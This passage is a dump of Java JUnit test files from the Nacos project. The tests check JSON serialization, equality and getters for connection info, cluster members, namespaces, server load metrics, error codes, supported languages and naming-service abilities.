assertTrue(json.contains(\"\\\"version\\\":\\\"3.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"connectionId\\\":\\\"1739168690942_127.0.0.1_18080\\\"\"));\n        assertTrue(json.contains(\"\\\"createTime\\\":\" + connectionInfo.getMetaInfo().getCreateTime().getTime()));\n        assertTrue(json.contains(\"\\\"lastActiveTime\\\":\" + connectionInfo.getMetaInfo().getLastActiveTime()));\n        assertTrue(json.contains(\"\\\"appName\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"labels\\\":{\"));\n        assertTrue(json.contains(\"\\\"AppName\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"abilityTable\\\":{}\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        // full connection information from server.\n        String json = \"{\\\"traced\\\":false,\\\"abilityTable\\\":{},\\\"metaInfo\\\":{\\\"namespaceId\\\":\\\"public\\\",\\\"connectType\\\":\\\"grpc\\\",\"\n                + \"\\\"clientIp\\\":\\\"127.0.0.1\\\",\\\"remoteIp\\\":\\\"127.0.0.1\\\",\\\"remotePort\\\":8080,\"\n                + \"\\\"localPort\\\":18080,\\\"version\\\":\\\"3.0.0\\\",\\\"connectionId\\\":\\\"1739168690942_127.0.0.1_18080\\\",\"\n                + \"\\\"createTime\\\":1739170615198,\\\"lastActiveTime\\\":1739170615198,\\\"appName\\\":\\\"test\\\",\"\n                + \"\\\"labels\\\":{\\\"AppName\\\":\\\"test\\\"},\\\"appLabels\\\":{\\\"ClientVersion\\\":\\\"3.0.0\\\",\\\"AppName\\\":\\\"test\\\"},\"\n                + \"\\\"sdkSource\\\":false,\\\"clusterSource\\\":false},\\\"connected\\\":false,\\\"labels\\\":{\\\"AppName\\\":\\\"test\\\"},\"\n                + \"\\\"appLabels\\\":{\\\"ClientVersion\\\":\\\"3.0.0\\\",\\\"AppName\\\":\\\"test\\\"}}\";\n        ConnectionInfo actualConnectionInfo = mapper.readValue(json, ConnectionInfo.class);\n        assertEquals(connectionInfo.isTraced(), actualConnectionInfo.isTraced());\n        assertEquals(connectionInfo.getAbilityTable(), actualConnectionInfo.getAbilityTable());\n        assertEquals(connectionInfo.getMetaInfo().getConnectType(),\n                actualConnectionInfo.getMetaInfo().getConnectType());\n        assertEquals(connectionInfo.getMetaInfo().getClientIp(), actualConnectionInfo.getMetaInfo().getClientIp());\n        assertEquals(connectionInfo.getMetaInfo().getRemoteIp(), actualConnectionInfo.getMetaInfo().getRemoteIp());\n        assertEquals(connectionInfo.getMetaInfo().getRemotePort(), actualConnectionInfo.getMetaInfo().getRemotePort());\n        assertEquals(connectionInfo.getMetaInfo().getLocalPort(), actualConnectionInfo.getMetaInfo().getLocalPort());\n        assertEquals(connectionInfo.getMetaInfo().getVersion(), actualConnectionInfo.getMetaInfo().getVersion());\n        assertEquals(connectionInfo.getMetaInfo().getConnectionId(),\n                actualConnectionInfo.getMetaInfo().getConnectionId());\n        assertEquals(1739170615198L, actualConnectionInfo.getMetaInfo().getCreateTime().getTime());\n        assertEquals(1739170615198L, actualConnectionInfo.getMetaInfo().getLastActiveTime());\n        assertEquals(connectionInfo.getMetaInfo().getAppName(), actualConnectionInfo.getMetaInfo().getAppName());\n        assertEquals(connectionInfo.getMetaInfo().getLabels(), actualConnectionInfo.getMetaInfo().getLabels());\n        assertEquals(connectionInfo.getMetaInfo().getNamespaceId(),\n                actualConnectionInfo.getMetaInfo().getNamespaceId());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/response/InstanceIdGeneratorInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass InstanceIdGeneratorInfoTest {\n    \n    @Test\n    void test() {\n        IdGeneratorInfo vo = new IdGeneratorInfo();\n        IdGeneratorInfo.IdInfo info = new IdGeneratorInfo.IdInfo();\n        info.setWorkerId(1L);\n        info.setCurrentId(2L);\n        vo.setResource(\"test\");\n        vo.setInfo(info);\n        \n        assertEquals(vo.getInfo(), info);\n        assertEquals(\"test\", vo.getResource());\n        assertEquals(1L, vo.getInfo().getWorkerId().longValue());\n        assertEquals(2L, vo.getInfo().getCurrentId().longValue());\n        \n        assertEquals(\"IdGeneratorVO{resource='test', info=IdInfo{currentId=2, workerId=1}}\", vo.toString());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/response/NacosMemberTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport com.alibaba.nacos.api.common.NodeState;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NacosMemberTest {\n    \n    private ObjectMapper mapper;\n    \n    NacosMember member;\n    \n    @BeforeEach\n    void setUp() {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        member = new NacosMember();\n        member.setIp(\"127.0.0.1\");\n        member.setPort(8080);\n        member.setState(NodeState.UP);\n        member.getExtendInfo().put(\"testK\", \"testV\");\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(member);\n        assertTrue(json.contains(\"\\\"ip\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":8080\"));\n        assertTrue(json.contains(\"\\\"state\\\":\\\"UP\\\"\"));\n        assertTrue(json.contains(\"\\\"extendInfo\\\":{\"));\n        assertTrue(json.contains(\"\\\"testK\\\":\\\"testV\\\"\"));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"127.0.0.1:8080\\\"\"));\n    }\n    \n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json =\n                \"{\\\"ip\\\":\\\"127.0.0.1\\\",\\\"port\\\":8080,\\\"state\\\":\\\"UP\\\",\\\"extendInfo\\\":{\\\"testK\\\":\\\"testV\\\"},\\\"address\\\":\\\"127.0.0.1:8080\\\",\"\n                        + \"\\\"abilities\\\":{\\\"remoteAbility\\\":{\\\"supportRemoteConnection\\\":false,\\\"grpcReportEnabled\\\":true},\"\n                        + \"\\\"configAbility\\\":{\\\"supportRemoteMetrics\\\":false},\\\"namingAbility\\\":{\\\"supportJraft\\\":false}}}\";\n        NacosMember actualMember = mapper.readValue(json, NacosMember.class);\n        assertEquals(member, actualMember);\n        assertEquals(member.getExtendInfo(), actualMember.getExtendInfo());\n        assertEquals(member.getAbilities(), actualMember.getAbilities());\n        assertEquals(member.hashCode(), actualMember.hashCode());\n        assertEquals(member.toString(), actualMember.toString());\n    }\n    \n    @Test\n    public void testEquals() {\n        assertEquals(member, member);\n        assertNotEquals(member, new Object());\n        NacosMember member1 = new NacosMember();\n        member1.setIp(member.getIp());\n        member1.setPort(member.getPort());\n        member1.setState(NodeState.DOWN);\n        assertEquals(member, member1);\n        member1.setIp(\"127.0.0.2\");\n        assertNotEquals(member, member1);\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/response/NamespaceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass NamespaceTest {\n    \n    private ObjectMapper mapper;\n    \n    @BeforeEach\n    void setUp() {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n    }\n    \n    @Test\n    void testNoArgsConstructor() {\n        Namespace namespace = new Namespace();\n        \n        assertNull(namespace.getNamespace());\n        assertNull(namespace.getNamespaceShowName());\n        assertNull(namespace.getNamespaceDesc());\n        assertEquals(0, namespace.getQuota());\n        assertEquals(0, namespace.getConfigCount());\n        assertEquals(0, namespace.getType());\n    }\n    \n    @Test\n    void testConstructorWithNamespaceAndShowName() {\n        Namespace namespace = new Namespace(\"testNamespace\", \"testShowName\");\n        \n        assertEquals(\"testNamespace\", namespace.getNamespace());\n        assertEquals(\"testShowName\", namespace.getNamespaceShowName());\n        assertNull(namespace.getNamespaceDesc());\n        assertEquals(0, namespace.getQuota());\n        assertEquals(0, namespace.getConfigCount());\n        assertEquals(0, namespace.getType());\n    }\n    \n    @Test\n    void testConstructorWithAllParamsExceptDesc() {\n        Namespace namespace = new Namespace(\"testNamespace\", \"testShowName\", 100, 50, 1);\n        \n        assertEquals(\"testNamespace\", namespace.getNamespace());\n        assertEquals(\"testShowName\", namespace.getNamespaceShowName());\n        assertNull(namespace.getNamespaceDesc());\n        assertEquals(100, namespace.getQuota());\n        assertEquals(50, namespace.getConfigCount());\n        assertEquals(1, namespace.getType());\n    }\n    \n    @Test\n    void testConstructorWithAllParams() {\n        Namespace namespace = new Namespace(\"testNamespace\", \"testShowName\", \"testDesc\", 100, 50, 1);\n        \n        assertEquals(\"testNamespace\", namespace.getNamespace());\n        assertEquals(\"testShowName\", namespace.getNamespaceShowName());\n        assertEquals(\"testDesc\", namespace.getNamespaceDesc());\n        assertEquals(100, namespace.getQuota());\n        assertEquals(50, namespace.getConfigCount());\n        assertEquals(1, namespace.getType());\n    }\n    \n    @Test\n    void testGetterSetter() {\n        Namespace namespace = new Namespace();\n        \n        namespace.setNamespace(\"testNamespace\");\n        namespace.setNamespaceShowName(\"testShowName\");\n        namespace.setNamespaceDesc(\"testDesc\");\n        namespace.setQuota(100);\n        namespace.setConfigCount(50);\n        namespace.setType(1);\n        \n        assertEquals(\"testNamespace\", namespace.getNamespace());\n        assertEquals(\"testShowName\", namespace.getNamespaceShowName());\n        assertEquals(\"testDesc\", namespace.getNamespaceDesc());\n        assertEquals(100, namespace.getQuota());\n        assertEquals(50, namespace.getConfigCount());\n        assertEquals(1, namespace.getType());\n    }\n    \n    @Test\n    void testSerialize() throws Exception {\n        Namespace namespace = new Namespace(\"testNamespace\", \"testShowName\", \"testDesc\", 100, 50, 1);\n        String json = mapper.writeValueAsString(namespace);\n        \n        Namespace deserializedNamespace = mapper.readValue(json, Namespace.class);\n        \n        assertEquals(namespace.getNamespace(), deserializedNamespace.getNamespace());\n        assertEquals(namespace.getNamespaceShowName(), deserializedNamespace.getNamespaceShowName());\n        assertEquals(namespace.getNamespaceDesc(), deserializedNamespace.getNamespaceDesc());\n        assertEquals(namespace.getQuota(), deserializedNamespace.getQuota());\n        assertEquals(namespace.getConfigCount(), deserializedNamespace.getConfigCount());\n        assertEquals(namespace.getType(), deserializedNamespace.getType());\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"namespace\\\":\\\"testNamespace\\\",\\\"namespaceShowName\\\":\\\"testShowName\\\",\"\n                + \"\\\"namespaceDesc\\\":\\\"testDesc\\\",\\\"quota\\\":100,\\\"configCount\\\":50,\\\"type\\\":1}\";\n        Namespace namespace = mapper.readValue(json, Namespace.class);\n        \n        assertEquals(\"testNamespace\", namespace.getNamespace());\n        assertEquals(\"testShowName\", namespace.getNamespaceShowName());\n        assertEquals(\"testDesc\", namespace.getNamespaceDesc());\n        assertEquals(100, namespace.getQuota());\n        assertEquals(50, namespace.getConfigCount());\n        assertEquals(1, namespace.getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/response/ServerLoaderMetricsTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.response;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServerLoaderMetricsTest {\n    \n    private ObjectMapper mapper;\n    \n    ServerLoaderMetrics serverLoaderMetrics;\n    \n    @BeforeEach\n    void setUp() {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        serverLoaderMetrics = new ServerLoaderMetrics();\n        Map<String, String> metrics = new HashMap<>();\n        metrics.put(\"conCount\", \"100\");\n        metrics.put(\"cpu\", \"100\");\n        metrics.put(\"load\", \"1\");\n        ServerLoaderMetric metric = ServerLoaderMetric.Builder.newBuilder().withAddress(\"127.0.0.1:8848\")\n                .convertFromMap(metrics).build();\n        serverLoaderMetrics.setDetail(Collections.singletonList(metric));\n        serverLoaderMetrics.setMemberCount(1);\n        serverLoaderMetrics.setMetricsCount(1);\n        serverLoaderMetrics.setCompleted(true);\n        serverLoaderMetrics.setMax(100);\n        serverLoaderMetrics.setMin(100);\n        serverLoaderMetrics.setAvg(100);\n        serverLoaderMetrics.setThreshold(String.valueOf(serverLoaderMetrics.getAvg() * 1.1d));\n        serverLoaderMetrics.setTotal(100);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(serverLoaderMetrics);\n        assertTrue(json.contains(\"\\\"memberCount\\\":1\"));\n        assertTrue(json.contains(\"\\\"metricsCount\\\":1\"));\n        assertTrue(json.contains(\"\\\"completed\\\":true\"));\n        assertTrue(json.contains(\"\\\"max\\\":100\"));\n        assertTrue(json.contains(\"\\\"min\\\":100\"));\n        assertTrue(json.contains(\"\\\"avg\\\":100\"));\n        assertTrue(json.contains(\"\\\"threshold\\\":\\\"110.0\"));\n        assertTrue(json.contains(\"\\\"total\\\":100\"));\n        assertTrue(json.contains(\"\\\"detail\\\":[\"));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"127.0.0.1:8848\\\"\"));\n        assertTrue(json.contains(\"\\\"sdkConCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"conCount\\\":100\"));\n        assertTrue(json.contains(\"\\\"load\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"cpu\\\":\\\"100\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"detail\\\":[{\\\"address\\\":\\\"127.0.0.1:8848\\\",\\\"sdkConCount\\\":0,\\\"conCount\\\":100,\"\n                + \"\\\"load\\\":\\\"1\\\",\\\"cpu\\\":\\\"100\\\"}],\\\"memberCount\\\":1,\\\"metricsCount\\\":1,\\\"completed\\\":true,\"\n                + \"\\\"max\\\":100,\\\"min\\\":100,\\\"avg\\\":100,\\\"threshold\\\":\\\"110.00000000000001\\\",\\\"total\\\":100}\";\n        ServerLoaderMetrics metricsInfo1 = mapper.readValue(jsonString, ServerLoaderMetrics.class);\n        assertEquals(serverLoaderMetrics.getMemberCount(), metricsInfo1.getMemberCount());\n        assertEquals(serverLoaderMetrics.getMetricsCount(), metricsInfo1.getMetricsCount());\n        assertEquals(serverLoaderMetrics.isCompleted(), metricsInfo1.isCompleted());\n        assertEquals(serverLoaderMetrics.getMax(), metricsInfo1.getMax());\n        assertEquals(serverLoaderMetrics.getMin(), metricsInfo1.getMin());\n        assertEquals(serverLoaderMetrics.getAvg(), metricsInfo1.getAvg());\n        assertEquals(serverLoaderMetrics.getThreshold(), metricsInfo1.getThreshold());\n        assertEquals(serverLoaderMetrics.getTotal(), metricsInfo1.getTotal());\n        assertEquals(serverLoaderMetrics.getDetail().get(0).getAddress(), metricsInfo1.getDetail().get(0).getAddress());\n        assertEquals(serverLoaderMetrics.getDetail().get(0).getConCount(),\n                metricsInfo1.getDetail().get(0).getConCount());\n        assertEquals(serverLoaderMetrics.getDetail().get(0).getSdkConCount(),\n                metricsInfo1.getDetail().get(0).getSdkConCount());\n        assertEquals(serverLoaderMetrics.getDetail().get(0).getCpu(), metricsInfo1.getDetail().get(0).getCpu());\n        assertEquals(serverLoaderMetrics.getDetail().get(0).getLoad(), metricsInfo1.getDetail().get(0).getLoad());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/v2/ErrorCodeTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.v2;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ErrorCodeTest {\n    \n    @Test\n    void testCodeNotSame() {\n        Class<ErrorCode> errorCodeClass = ErrorCode.class;\n        \n        ErrorCode[] errorCodes = errorCodeClass.getEnumConstants();\n        Set<Integer> codeSet = new HashSet<Integer>(errorCodes.length);\n        \n        for (ErrorCode errorCode : errorCodes) {\n            codeSet.add(errorCode.getCode());\n        }\n        \n        assertEquals(errorCodes.length, codeSet.size());\n    }\n    \n    @Test\n    void testGetErrorCode() {\n        // 测试存在的错误码\n        assertEquals(ErrorCode.SUCCESS, ErrorCode.getErrorCode(\"SUCCESS\"));\n        assertEquals(ErrorCode.PARAMETER_MISSING, ErrorCode.getErrorCode(\"PARAMETER_MISSING\"));\n        assertEquals(ErrorCode.SERVER_ERROR, ErrorCode.getErrorCode(\"SERVER_ERROR\"));\n        \n        // 测试不存在的错误码\n        assertNull(ErrorCode.getErrorCode(\"NON_EXISTENT_ERROR\"));\n        assertNull(ErrorCode.getErrorCode(null));\n        assertNull(ErrorCode.getErrorCode(\"\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/v2/ResultTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.v2;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass ResultTest {\n    \n    @Test\n    void testSuccessEmptyResult() {\n        Result<String> result = Result.success();\n        assertNull(result.getData());\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(ErrorCode.SUCCESS.getMsg(), result.getMessage());\n    }\n    \n    @Test\n    void testSuccessWithData() {\n        Result<String> result = Result.success(\"test\");\n        assertEquals(\"test\", result.getData());\n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        assertEquals(ErrorCode.SUCCESS.getMsg(), result.getMessage());\n    }\n    \n    @Test\n    void testFailureMessageResult() {\n        Result<String> result = Result.failure(\"test\");\n        assertNull(result.getData());\n        assertEquals(ErrorCode.SERVER_ERROR.getCode(), result.getCode());\n        assertEquals(\"test\", result.getMessage());\n    }\n    \n    @Test\n    void testFailureWithoutData() {\n        Result<String> result = Result.failure(ErrorCode.DATA_ACCESS_ERROR);\n        assertNull(result.getData());\n        assertEquals(ErrorCode.DATA_ACCESS_ERROR.getCode(), result.getCode());\n        assertEquals(ErrorCode.DATA_ACCESS_ERROR.getMsg(), result.getMessage());\n    }\n    \n    @Test\n    void testFailureWithData() {\n        Result<String> result = Result.failure(ErrorCode.DATA_ACCESS_ERROR, \"error\");\n        assertEquals(\"error\", result.getData());\n        assertEquals(ErrorCode.DATA_ACCESS_ERROR.getCode(), result.getCode());\n        assertEquals(ErrorCode.DATA_ACCESS_ERROR.getMsg(), result.getMessage());\n    }\n    \n    @Test\n    void testFailureWithCodeMessageAndData() {\n        Result<String> result = Result.failure(10001, \"custom error\", \"errorData\");\n        assertEquals(\"errorData\", result.getData());\n        assertEquals(Integer.valueOf(10001), result.getCode());\n        assertEquals(\"custom error\", result.getMessage());\n    }\n    \n    @Test\n    void testToString() {\n        Result<String> result = Result.success(\"test\");\n        assertEquals(\"Result{errorCode=0, message='success', data=test}\", result.toString());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/model/v2/SupportedLanguageTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.model.v2;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SupportedLanguageTest {\n    \n    @Test\n    void testGetLanguage() {\n        assertEquals(\"zh-CN\", SupportedLanguage.ZH_CN.getLanguage());\n        assertEquals(\"en-US\", SupportedLanguage.EN_US.getLanguage());\n    }\n    \n    @Test\n    void testIsSupported() {\n        // 测试支持的语言\n        assertTrue(SupportedLanguage.isSupported(\"zh-CN\"));\n        assertTrue(SupportedLanguage.isSupported(\"en-US\"));\n        \n        // 测试不支持的语言\n        assertFalse(SupportedLanguage.isSupported(\"fr-FR\"));\n        assertFalse(SupportedLanguage.isSupported(\"ja-JP\"));\n        assertFalse(SupportedLanguage.isSupported(null));\n        assertFalse(SupportedLanguage.isSupported(\"\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/NamingFactoryTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.naming.NacosNamingService;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass NamingFactoryTest {\n    \n    @Test\n    void testCreateNamingServiceByPropertiesSuccess() throws NacosException {\n        NacosNamingService.IS_THROW_EXCEPTION.set(false);\n        assertNotNull(NamingFactory.createNamingService(new Properties()));\n    }\n    \n    @Test\n    void testCreateNamingServiceByPropertiesFailure() {\n        NacosNamingService.IS_THROW_EXCEPTION.set(true);\n        assertThrows(NacosException.class, () -> NamingFactory.createNamingService(new Properties()));\n    }\n    \n    @Test\n    void testCreateNamingServiceByServerAddrSuccess() throws NacosException {\n        NacosNamingService.IS_THROW_EXCEPTION.set(false);\n        assertNotNull(NamingFactory.createNamingService(\"localhost:8848\"));\n    }\n    \n    @Test\n    void testCreateNamingServiceByServerAddrFailure() {\n        NacosNamingService.IS_THROW_EXCEPTION.set(true);\n        assertThrows(NacosException.class, () -> NamingFactory.createNamingService(\"localhost:8848\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/ability/ClientNamingAbilityTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.ability;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientNamingAbilityTest {\n    \n    @Test\n    void testGetAndSet() {\n        ClientNamingAbility ability = new ClientNamingAbility();\n        assertFalse(ability.isSupportDeltaPush());\n        assertFalse(ability.isSupportRemoteMetric());\n        ability.setSupportDeltaPush(true);\n        ability.setSupportRemoteMetric(true);\n        assertTrue(ability.isSupportDeltaPush());\n        assertTrue(ability.isSupportRemoteMetric());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/ability/ServerNamingAbilityTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.ability;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\n\nclass ServerNamingAbilityTest {\n    \n    private static ObjectMapper jacksonMapper;\n    \n    @BeforeAll\n    static void setUpClass() throws Exception {\n        jacksonMapper = new ObjectMapper();\n        jacksonMapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        jacksonMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testDeserializeServerNamingAbilityForNonExistItem() throws JsonProcessingException {\n        String nonExistItemJson = \"{\\\"exampleAbility\\\":false}\";\n        ServerNamingAbility actual = jacksonMapper.readValue(nonExistItemJson, ServerNamingAbility.class);\n        assertFalse(actual.isSupportJraft());\n    }\n    \n    @Test\n    void testEquals() throws JsonProcessingException {\n        ServerNamingAbility expected = new ServerNamingAbility();\n        expected.setSupportJraft(true);\n        String serializeJson = 